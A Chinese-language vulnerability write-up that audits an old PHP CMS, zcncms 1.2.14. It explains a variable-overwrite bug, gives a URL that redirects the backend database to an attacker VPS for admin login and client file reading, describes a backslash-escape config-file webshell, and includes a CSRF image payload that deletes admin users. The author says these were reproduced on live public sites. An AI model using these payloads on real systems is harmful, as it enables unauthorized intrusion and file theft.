简述

最近发现学校的一台服务器shell掉了,估计是学校之前被通报大检查了一遍,在学校的一处分站发现了该CMS,前端经过二次开发,搜索了一下历史漏洞,发现都需要进入后台。最近在练习审计,正好借着这个实战目标审计一下。由于该CMS过于古老,在网上找了好久才找到。先看一下漏洞利用过程。

漏洞利用

简单说一下这个版本所存在的漏洞,后台sql注入、后台修改配置文件getshell、后台未授权访问(无法操作,只能看到页面)、信息泄露。以上是网络上已经发布的漏洞,由于无法登陆后台,所以自己审计了一下,发现了一些问题。

变量覆盖导致的任意用户登录后台

首先需要在自己的外网服务器开启mysql服务,并设置用户可以远程访问。在该服务器上的mysql中导入zcncms的数据库结构,将管理员账号密码设置为任意即可(如admin ,123456)。

测试环境为本地环境,CMS搭建在物理机,远程mysql在虚拟机。漏洞利用如下:

访问后台地址,加入参数 db_host=vps_ip&db_name=root&db_pass=root&db_table=zcncms

后台getshell

到了这里遇到了新的问题,假如说管理员并不是默认安装的数据,比如表的名字、结构发生了改变,就不能利用这个漏洞进入后台,但是就没办法了么?

变量覆盖导致的客户端任意文件读取

既然变量覆盖可以致使程序访问远程数据库,那这个时候 LOAD DATA LOCAL INFILE就可以派上用场了。远程服务器运行任意文件读取脚本,同样的方式url访问即可。

所以搞到数据库的结构应该也只是时间问题?。

接下来对我所发现的一些问题简单的分析一下。

原理分析

简单记录一下分析过程,因为没有什么华丽的漏洞利用链,普普通通简简单单的漏洞而已。

变量覆盖

由于最初目的就是想进入后台,准备找一些越权的问题,所以直接来看后台文件。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
//index.php
error_reporting(E_ALL | E_STRICT);

define('WEB_IN', '1');
define('WEB_APP','admin');
define('WEB_ROOT', dirname(__FILE__).'/');
define('WEB_INC', WEB_ROOT.'../include/');
define('WEB_MOD', WEB_INC.'model/');
define('WEB_TPL',WEB_ROOT.'templates/default/');
define('WEB_DATA',WEB_ROOT.'../data/');
define('WEB_CACHE',WEB_ROOT.'../data/cache/');
define('WEB_MODULE', WEB_ROOT.'../module/');
//引入common
//echo WEB_APP;
require_once(WEB_INC.'/common.inc.php');
// var_dump($db_type,$db_host,$db_name,$db_pass,$db_table,$db_ut,$db_tablepre);
$config['linkurlmodeadmin'] = $config['linkurlmode'];
$config['linkurlmode'] = 0;
//include(WEB_INC.'forbiddenip.inc.php');
//include(WEB_INC.'close.inc.php');
include(WEB_INC.'rootstart.inc.php');

包含了common.inc.php文件,直接看该文件的导致变量覆盖的代码部分。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
//_GetRequest函数
function _GetRequest(&$svar){
	global $db_type,$magic_quotes;
	$magic_quotes=get_magic_quotes_gpc();//20130128 
	if(!$magic_quotes){
		if(is_array($svar)){
			foreach($svar as $_k => $_v) $svar[$_k] = _GetRequest($_v);
		}else{
			if($db_type==1){
				$svar = my_sqlite_escape_string($svar);
			}elseif($db_type==2){
				//echo $svar;
				$svar = addslashes($svar);
			}
		}
	}else{
		//没有开..兼容sqlite
		if(is_array($svar)){
			foreach($svar as $_k => $_v) $svar[$_k] = _GetRequest($_v);
		}else{
			if($db_type==1){
				$svar = stripslashes($svar);//删除反斜杠“/”
				$svar = my_sqlite_escape_string($svar);
			}
		}
	}
	return $svar;
}

进行了简单的过滤,不允许注册类似_SESSION全局变量,后来发现是之前版本存在变量覆盖导致可覆盖掉sessio未授权访问后台漏洞。这里知道get/post参数可赋值变量,接着往下看。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
//common.inc.php代码81行
//引入配置文件
require(WEB_INC.'/config.inc.php');
//引入数据库类
require_once(WEB_INC.'/db.class.php');
//常用函数
require_once(WEB_INC.'/function.inc.php');
//基础model函数
require_once(WEB_INC.'/model.class.php');

//common.inc.php代码102行
if(!isset($_SESSION)){  
	session_start();  
} 
header("Content-type: text/html; charset=utf-8");

//确认正确安装然后连接数据库
$install_check = '';
if(file_exists(WEB_DATA.'install.lock')) {
	$db=new DB($db_type,$db_host,$db_name,$db_pass,$db_table,$db_ut,$db_tablepre);
} else {
	$install_check =  'Not installed, please <a href="./install">install</a>';
	if(WEB_APP != 'install'){
		echo $install_check;
		exit;
	}
}

可以看到包含了config.inc.php配置文件并在接下来连接了数据库,只看一下config中产生漏洞的地方。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
//config.inc.php
<?php
//默认配置文件
//数据库
defined( 'WEB_IN' ) or die( 'Restricted access' );
require_once('dataconfig.inc.php');
/* 
$db_type='2';
$host='localhost';
$name='root';
$pass='';
$table='pj_zcncms';
$tablepre='';
$ut='utf8'; 
*/

在文件开头就包含了dataconfig.inc.php文件,该文件中定义了数据库变量,即注释部分内容。这么一看并不能覆盖数据库变量,因为变量覆盖发生在进入数据库变量之前。但是仔细看一下代码发现:

代码56行,在发生变量覆盖之前也包含了config文件,问题发生在require_once这个函数

1
require_once 语句和 require 语句完全相同,唯一区别是 PHP 会检查该文件是否已经被包含过,如果是则不会再次包含。

可以发现,在config.inc.php中利用require_once包含了dataconfig.inc.php文件,因此第二次包含config文件时,并没有重新包含数据库配置文件,而第一次包含的变量被我们覆盖掉了,导致漏洞产生。(对于引入两次cofnig文件我也一脸懵逼。)

后台getshell

遗憾的是我并不是第一个发现它的人,由于CMS过于古老当时还真没搜到该漏洞,审计之后发现已经有前辈发过了,但是在这里也写一下吧,很简单的问题。

引用了sys模块,直接看sys.php文件。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
//include/admincontroller/sys.php
if(isset($submit)){
	$FS = new files();
	$STR = new C_STRING();
	$info = array(
	'isclose' => $isclose,
	'closeinfo' => $closeinfo,
	'webtitle' => $webtitle,
	'indextitle' => $indextitle,
	'webkeywords' => $webkeywords,
	'webdescription' => $webdescription,
	'webcopyright' => $webcopyright,
	'webbeian' => $webbeian,
	'systemplates' => $systemplates,
	'linkurlmode' => $linkurlmode,
	);
	$rs_msg = $STR->safe($info);
	if($FS->file_Write($rs_msg, WEB_INC.'sys.inc.php', 'sys')) {
		errorInfo('编辑成功');
	} else {
		errorInfo();
	}

经过了safe函数的过滤,查看sys.inc.php文件及safe函数的代码实现:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
//include/string.class.php  35-62行
function safe($msg)
	{
		if(!$msg && $msg != '0')
		{
			return false;
		}
		if(is_array($msg))
		{
			foreach($msg AS $key=>$value)
			{
				$msg[$key] = $this->safe($value);
			}
		}
		else
		{
			$msg = trim($msg);
			//$old = array("&amp;","&nbsp;","'",'"',"\t","\r");
			//$new = array("&"," ","&#39;","&quot;","&nbsp; &nbsp; ","");
			$old = array("&amp;","&nbsp;","'",'"',"\t");
			$new = array("&"," ","&#39;","&quot;","&nbsp; &nbsp; ");
			$msg = str_replace($old,$new,$msg);
			$msg = str_replace("   ","&nbsp; &nbsp;",$msg);
			$old = array("/<script(.*)<\/script>/isU","/<frame(.*)>/isU","/<\/fram(.*)>/isU","/<iframe(.*)>/isU","/<\/ifram(.*)>/isU","/<style(.*)<\/style>/isU");
			$new = array("","","","","","");
			$msg = preg_replace($old,$new,$msg);
		}
		return $msg;
	}

过滤了单引号双引号导致无法拼接,但是由于并没有过来反斜线,因此可以利用反斜线转义源代码中的单引号,再利用后面输入的”;“变量,插入payload并注释即可。

CSRF之任意管理员用户删除

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
//users.php
switch($a)
{

    ......
    
    case 'del'://
		$ids = array();
		if(isset($id)){
			if(is_array($id)){
				$ids = $id;
			} else {
				$ids[] = $id;
			}
			
		} else {
			errorinfo('变量错误','');
		}
		foreach($ids as $key=>$value){
			$value = intval($value);
			if($value <= 0){
					errorinfo('变量错误','');
			}
		}
		if($users->Del($ids)){
			errorinfo('删除成功','');
		}else{
			errorinfo('删除失败','');
		} 
		break;
		
	......
	
}

其实也是由于变量通过get方式获取,并且在进行删除操作时没有验证token等(并没有做csrf防护),导致漏洞产生。简单的利用

1
2
//payload
<img src="http://localhost/zcncms-1.2.14/zcncms/admin/?c=users&a=del&id=12" >

总结

在网上只找到了两个相同版本的案例复现成功,由于CMS过于远古,导致我实在找不到过多案例。肯定还有其他漏洞,但是没有必要审下去了。

效果还行哈。

乐于分享才能收获更多,欢迎师傅们指导交流。另外希望各位表哥放过这几个为数不多的案例站点,大家都不容易。